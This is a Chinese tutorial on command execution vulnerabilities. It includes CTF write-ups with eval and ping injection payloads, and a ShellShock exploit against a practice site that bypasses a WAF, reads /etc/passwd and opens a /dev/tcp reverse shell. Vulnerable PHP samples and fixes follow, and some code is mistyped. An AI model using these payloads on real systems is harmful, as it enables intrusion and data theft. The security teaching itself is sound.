command execution
命令执行漏洞总结
命令执行漏洞:直接调用操作系统命令
命令执行漏洞的原理:在操作系统中,*“&、|、||”*都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、
passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令
拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
从例题中看漏洞
1.bugku 本地包含
题目地址:http://123.206.87.240:8003/
打开看到代码,两个要注意的点
- $ a = @ a = @ a=@_REQUEST[‘hello’];
- eval( “var_dump($a);”);
第一个的意思就是不管你是post还是get传参,request都能获取到hello的值
第二个看到eval()命令执行函数,也就是说,eval可以执行括号内的php命令
如果可以构造一些可执行的php代码,则eval就会全部执行达到我们想要的目的
例如
- hello=);print_r(file(“flag.php”)
- hello=);var_dump(file(“flag.php”)
- hello=file(“flag.php”)
- hello=file_get_contents(‘flag.php’)
- hello=);include(@$_POST[‘b’]
- 在POST区域:b=php://filter/convert.base64-encode/resource=flag.php
- hello=);include(“php://filter/convert.base64-encode/resource=flag.php”
- hello=1);show_source(‘flag.php’);var_dump(
- hello=1);show_source(%27flag.php%27);var_dump(3
分别会有什么样的结果呢
- eval( “var_dump();print_r(file(“flag.php”));”);
- eval( “var_dump();var_dump(file(“flag.php”));”);
- eval( “var_dump(file(“flag.php”));”);
- eval( “var_dump(file_get_contents(‘flag.php’));”);
- eval( “var_dump();include(@$_POST[‘b’]);”);
- eval( “var_dump();include(“php://filter/convert.base64-encode/resource=flag.php”);”);
- b=php://filter/convert.base64-encode/resource=flag.php
- eval( “var_dump(1);show_source(‘flag.php’);var_dump();”);
- eval( “var_dump(1);show_source(%27flag.php%27);var_dump(3);”);
最终都可以get flag
存在漏洞的函数和利用情景
- eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
- file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
- print_r() 函数只用于输出数组。
- var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
- hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
- include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。
2.攻防世界 command execution
题目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5071
进来之后看到一个ping框,补充知识
windows或linux下:
- command1 && command2 先执行command1后执行command2
- command1 | command2 只执行command2
- command1 & command2 先执行command2后执行command1
ping一个 127.0.0.1 | ls …/…/…/home
只执行后面半句,看到…/…/…/home目录下的所有文件,就看到了flag.txt
查看flag.txt 用cat命令 127.0.0.1 | cat …/…/…/home/flag.txt
就可以get flag
3.hackme command executor
题目链接:https://command-executor.hackme.inndy.tw/index.php
考点:
- 文件包含读源码
- 代码分析结合CVE
- CVE导致的命令执行
- 写入文件/反弹shell
- 思考c文件的解法
- 重定向获取flag
看到4个页面
且url参数有4种,?func=man ?func=untar ?func=cmd ?func=ls
猜测存在文件包含漏洞,构造url读源码
?func=php://filter/read=convert.base64-encode/resource=index.php
base64解密后拿到index.php的源码
<?php
$pages = [['man', 'Man'],['untar', 'Tar Tester'],['cmd', 'Cmd Exec'],['ls', 'List files'],
];function fuck($msg) {header('Content-Type: text/plain');echo $msg;exit;
}$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'
];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}}
}waf($_SERVER);
waf($_GET);
waf($_POST);function execute($cmd, $shell='bash') {system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') {putenv("$key=$val");}
}$page = '';if(isset($_GET['func'])) {$page = $_GET['func'];if(strstr($page, '..') !== false) {$page = '';}
}if($page && strlen($page) > 0) {try {include("$page.php");} catch (Exception $e) {}
}
发现其中有一个比较敏感的putenv()函数,这个函数的作用是用来向环境表中添加或者修改环境变量
结合唯一可以执行的env命令想到2014年的一个重大漏洞:CVE-2014-6271 破壳(ShellShock)漏洞
在这里不做过多介绍
这里先贴出Freebuf的分析连接:
http://www.freebuf.com/articles/system/45390.html
确定了漏洞,就是尝试可用exp的时候了,这时候可以容易google到
这样一篇文章:
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php
其中重点的一段如下:
可以清楚看到这样一个payload:
wget --header=“X-Exploit:(){:;};echo Hacked” -q -O - http://127.0.0.1/shock.php
并且和这个测试样本和我们题目中给出的代码十分相似:
foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') {putenv("$key=$val");}
}
于是我们先去尝试一下适用性:
可以发现我们被waf拦截了:
()\s*{\s*:;\s*}; detected! exit now.
回去分析index.php的waf过滤点:
$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'
];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}}
}
可以看到如上一个黑名单,
我们的
X-Exploit: () { :; };
正是被这个黑名单禁止了,但是这样的waf存在极大隐患,我们只要加个空格就可以轻松绕过:
X-Exploit: () { : ; };
我们再次攻击一次试试:
wget --header=“X-Exploit: () { : ; }; echo Hacked” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
可以看到Hacked成功被打印出来,说明我们的poc起了作用,下面我们开始执行命令,
不过需要注意的是,shellshock执行命令需要加上/bin/ , 比如 cat 命令直接读是读不出来的,
需要 /bin/cat 才可以,我们尝试读 /etc/password : /bin/cat /etc/password
wget --header=“X-Exploit: () { : ; }; /bin/cat /etc/passwd” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
发现命令可以成功执行,下面我们就用命令ls来寻找flag
在ls界面发现目录,随便点击几个目录发现url变成?func=ls&file=../..
输入?func=ls&file=../../../
可以看到有flag出现
我们尝试使用cat来读一下flag文件:
wget --header=“X-Exploit: () { : ; }; /bin/cat …/…/…/flag” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
又被waf拦了
这里有没有办法绕过/flag呢?
这里给出两条思路:
- shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下)
- 通配符绕过
这里我选择第二点:
wget --header=“X-Exploit: () { : ; }; /bin/cat …/…/…/?lag” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
但这次并没有回显打出,但也没有报错,考虑是应为文件权限导致,
回去查看文件权限:
发现只有root才可读…
发现下面有一个c语言写的flag-reader.c,这个文件倒是有读的权限,
我们读一下他看有什么线索:
wget --header=“X-Exploit: () { : ; }; /bin/cat …/…/…/…/…/…/?lag-reader.c” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
打出回显:
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><title>Command Executor</title><link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all"><link rel="stylesheet" href="comic-neue/font.css" media="all"><style>nav { margin-bottom: 1rem; }img { max-width: 100%; }</style></head><body><nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex"><a class="navbar-brand" href="index.php">Command Executor</a><ul class="navbar-nav"><li class="nav-item"><a class="nav-link" href="index.php?func=man">Man</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=untar">Tar Tester</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=cmd">Cmd Exec</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=ls">List files</a></li></ul></nav><div class="container"><h1>Command Execution</h1>
<ul><li><a href="index.php?func=cmd&cmd=ls">ls</a></li><li><a href="index.php?func=cmd&cmd=env">env</a></li></ul>
<form action="index.php" method="GET"><input type="hidden" name="func" value="cmd"><div class="input-group"><input class="form-control" type="text" name="cmd" id="cmd"><div class="input-group-append"><input class="btn btn-primary" type="submit" value="Execute"></div></div>
</form>
<script>cmd.focus();</script>
<h2>$ env</h2><pre>#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>int main(int argc, char *argv[])
{char buff[4096], rnd[16], val[16];if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {write(1, "Not enough random\n", 18);}setuid(1337);seteuid(1337);alarm(1);write(1, &rnd, sizeof(rnd));read(0, &val, sizeof(val));if(memcmp(rnd, val, sizeof(rnd)) == 0) {int fd = open(argv[1], O_RDONLY);if(fd > 0) {int s = read(fd, buff, 1024);if(s > 0) {write(1, buff, s);}close(fd);} else {write(1, "Can not open file\n", 18);}} else {write(1, "Wrong response\n", 16);}
}
</pre></div></body>
</html>
审计这个c程序,大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容
此时我们的思路很简单,运行这个c程序,再把这个c程序输出在1s内再输回去,但是纯靠这样的交互,
速度极慢,所以容易想到,要不要拿个shell?
这里给出2种拿shell的思路
- 反弹shell
- 找到可写目录,并写入文件,利用文件包含即可
这里我选择反弹shell(https://xz.aliyun.com/t/2549)反弹shell可以看这里
wget --header=“X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
然后一会儿就能收到shell
而下面就只要解决如何在1s内输入c文件输出的结果这个问题了
这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的
我们先去探索可写目录,发现 /var/tmp具有写权限
我们测试一下:
wget --header=“X-Exploit: () { : ; }; echo ‘sky’ > /var/tmp/sky” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
然后来看写进去了没有:
成功写入文件,证明这个目录可以利用,我们构造:
wget --header=“X-Exploit: () { : ; }; flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag” -q -O - “https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env”
在shell里面cat下skyflag文件,就有flag了
总结
利用条件
- 应用调用执行系统命令的函数
- 将用户输入作为系统命令的参数拼接到了命令行中
- 没有对用户输入进行过滤或过滤不严
漏洞分类
- 代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
system("/bin/program --arg $arg"); - 系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271) - 调用的第三方组件存在代码执行漏洞
如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
漏洞可能代码(以system为例)
- system("$arg"); //直接输入即可
- system("/bin/prog $arg"); //直接输入;ls
- system("/bin/prog -p $arg"); //和2一样
- system("/bin/prog --p="$arg""); //可以输入";ls;"
- system("/bin/prog --p=’$arg’"); //可以输入’;ls;’
在Linux上,上面的;也可以用|、||代替
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的在Windows上,不能用;可以用&、&&、|、||代替
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
windows支持:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
Linux支持:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
漏洞利用
一
<?php$arg = $_GET['cmd'];if ($arg) {system("$arg");}
?>
二
<?php$arg = $_GET['cmd'];if ($arg) {system("ping -c 3 $arg");}
?>
三
<?php$arg = $_GET['cmd'];if ($arg) {system("ls -al "$arg"");}
?>
若引号被转义,则可以用`id`来执行
四
<?php$arg = $_GET['cmd'];if ($arg) {system("ls -al '$arg'");}
?>
其他
- 代码执行:
在cmd.php中的代码如下:
<?phpeval($_REQUEST['code']);?>
提交http://localhost/cmd.php?code=phpinfo() 后就会执行phpinfo()
- 动态函数调用
在cmd.php中的代码如下:
<? php$fun = $_GET['fun'];$par = $_GET['par'];$fun($par);?>
提交http://localhost/cmd.php?fun=system&par=net user,
最终执行的是system(“net user”)
漏洞修复
尽量少用执行命令的函数或者直接禁用
参数值尽量使用引号包括
在使用动态函数之前,确保使用的函数是指定的函数之一
在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
<?php$arg = $_GET['cmd'];// $arg = addslashes($arg);$arg = escapeshellcmd($arg); //拼接前就处理if ($arg) {system("ls -al '$arg'");}
?>
- 黑名单:过滤特殊字符或替换字符
- 白名单:只允许特殊输入的类型/长度
修复代码示例一:
<?php$target=$_REQUEST['ip'];$octet = explode( ".", $target );if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];$cmd = shell_exec('ping '.$target);echo "<pre>{$cmd}</pre>";}else {echo '<pre>ERROR: You have entered an invalid IP.</pre>';}
?>
修复代码示例二:
<?php$target=$_REQUEST['ip'];$cmd = shell_exec('ping '. escapeshellcmd($target));echo "<pre>{$cmd}</pre>";
?>
远程命令执行漏洞
利用系统函数实现远程命令执行
在PHP下,允许命令执行的函数有:
- eval()
- assert()
- preg_replace()
- call_user_func()
如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞
eval()函数
- 定义和用法
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。 - 语法
eval(phpcode)
phpcode 必需。规定要计算的 PHP 代码。 - 例子
<?php$a = $_GET['a'];eval($a);
?>
http://127.0.0.1/oscommand/1.php?a=phpinfo();
assert()函数
- 定义和用法
检查一个断言是否为 FALSE - 语法
PHP 5
bool assert ( mixed description ] )
PHP 7
bool assert ( mixed exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动 - 例子
<?php$a = $_GET['a'];assert($a);
?>
http://127.0.0.1/oscommand/1.php?a=phpinfo();
http://127.0.0.1/oscommand/1.php?a=phpinfo()
ps: eval()和assert()区别
eval()函数正确执行需要满足php的代码规范,而assert()函数则不存在这个问题,对于php的代码规范要求不高
preg_replace()函数
定义和语法
preg_replace 函数执行一个正则表达式的搜索和替换。语法
mixed preg_replace ( mixed replacement , mixed limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。- 参数说明:
pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
- 参数说明:
例子
<?php$a = $_GET['a'];echo preg_replace("/test/e", $a, "just test!")
?>
http://127.0.0.1/oscommand/1.php?a=phpinfo()
ps: 在php5.4及以下版本中,preg_replace()可正常执行代码,而在php5.5及后续版本中会提醒"/e"修饰符已被弃用,要求用preg_replace_callback()函数来代替。
call_user_func()函数
- 定义和用法
call_user_func — 把第一个参数作为回调函数调用 - 语法
mixed call_user_func ( callable parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 - 例子
<?phpcall_user_func($_GET['a'],$_GET['b']);
?>
http://127.0.0.1/oscommand/1.php?a=assert&b=phpinfo()
其他函数
ob_start()、unserialize()、creat_function()
usort()、uasort()、uksort()
array_filter()
array_reduce()
array_map()
系统命令执行漏洞
系统命令执行的函数
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引号
- 环境分析
<?phpif (isset($_POST['submit'])){$target = $_REQUEST['ip'];if(isset(php_uname('s'), 'Windows NT')) {$cmd = shell_exec('ping ' . $taeget);echo '<pre>'.$cmd.'</pre>';} else {$cmd = shell_exec('ping -c 3 ' . $target);echo '<pre>'.$cmd.'</pre>'}}
?>
页面通过request获取传入的ip参数,并获取当前系统类型之后拼接相应命令"ping + target IP"并执行,在此过程中IP参数可控,所以在IP可拼接命令。
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.1||whoami
- 防范措施
在PHP下禁用高危系统函数
找到php.ini,查找到disable_functions,添加禁用的函数名
严格过滤关键字符
$substitutions = array('&&' => '',';' => '','||' => '',
);
$target = str_replace(array_keys($substitutions), $substitution, $target);
严格限制允许的参数类型
利用正则表达
command execution相关推荐
- command pattern
1.定义(http://en.wikipedia.org/wiki/Command_pattern#Java) In object-oriented programming, the command ...
- Remote Execution - SaltStack远程执行模块使用指南
文章目录 Remote Execution - Salt远程执行模块 Salt Execution Modules Remote execution tutorial - 远程执行模块使用教程 开始管 ...
- 【RuoYi-Vue-Plus】问题笔记 07 - V3.5.0 Redisson 报错 Unable to send PING command over channel
文章目录 前言 参考目录 问题说明 问题解决方法 前言 最近找了一下终于解决了 Redisson 的 RedisTimeoutException 报错问题,在此记录一下. 参考目录 Redisson ...
- 【问题】yocto学习:ERROR: Execution of event handler ‘sstate_eventhandler2‘ failed
bitbake在最简单的配方上失败了 1. 编译报错问题:ERROR: Execution of event handler 'sstate_eventhandler2' failed 下载yocto ...
- 多核片上系统(SoC)架构的嵌入式DSP软件设计
多核片上系统(SoC)架构的嵌入式DSP软件设计 Multicore a System-on-a-Chip (SoC) Architecture SoCs的软件开发涉及到基于最强大的计算模型在各种处理 ...
- 2019攻防世界web新手区
robots 看了题目描述,发现与robots协议有关,过完去百度robots协议.发现了robots.txt,然后去构造url访问这个文件 http://111.198.29.45:42287/r ...
- Redis以及Redis的php扩展安装无错版
安装Redis 下载最新的 官网:http://redis.io/ 或者 http://code.google.com/p/redis/downloads/list 第一步:下载安装编译 #wge ...
- 推箱子2-向右推!_保持冷静,砍箱子-me脚
推箱子2-向右推! Hack The Box (HTB) is an online platform allowing you to test your penetration testing ski ...
- openNebulafrontEnd ComputeNode 配置记录
openNebulafrontEnd ComputeNode 配置记录 1,OpenNebula nfs(file system shared) for image datastore; openNe ...
最新文章
- 中国科学院徐俊刚:自动深度学习解读
- 【源码】Word转PDF V1.0.1 小软件,供新手参考
- HDU5982. Relic Discovery
- mysql 技术交流群_二进制部署MySQL(运维技术交流群:926402931,欢迎大家一起来交流。)...
- Linux网络编程——tcp并发服务器(I/O复用之select)
- java 中的instanceof
- Unreal Engine 4 —— 多线程任务构建
- Atom飞行手册翻译: 3.6 图标
- android备忘录_苹果备忘录怎样把内容置顶?有置顶功能的备忘录便签
- SM2算法第十篇:数字证书及CA的扫盲介绍
- 使用 Transmission 制作种子命令
- 算法题:Find the closest common ancestor
- 3.3V和1.8V电平双向转换——电平转换芯片
- tube和pipe的区别
- 2019 Multi-University Training Contest 3 题解
- RabbitMQ 使用java连接时出现异常com.rabbitmq.client.impl.AMQChannel.wrap和ConnectException
- CSFB(电路域回落)与VoLTE(4G语音承载)
- app对于接口返回数据的容错测试(健壮性测试)
- 科普 | 数据安全与网络安全(一)概念篇
- 信息系统分析与设计 机票预定管理系统
热门文章
- 最后一个晚上了...
- 深度学习:AlexNet实现服装分类(Pytorch)
- 乐视--996、内卷、裁员环境下一朵“奇葩”
- 《学习之道》第四章学习方法17一天内回想知识
- zeek bro 之 conn.log中的conn_states具体含意
- Docker push命令使用 Docker镜像推送到远程仓库 Docker镜像推送Dockerhub
- date-fns日期工具的使用方法
- matlab中bp创建多层神经网络,三层 BP 神经网络 matlab 实现
- 电脑突然无法拖动文件
- 12306登陆窗体验证码自动识别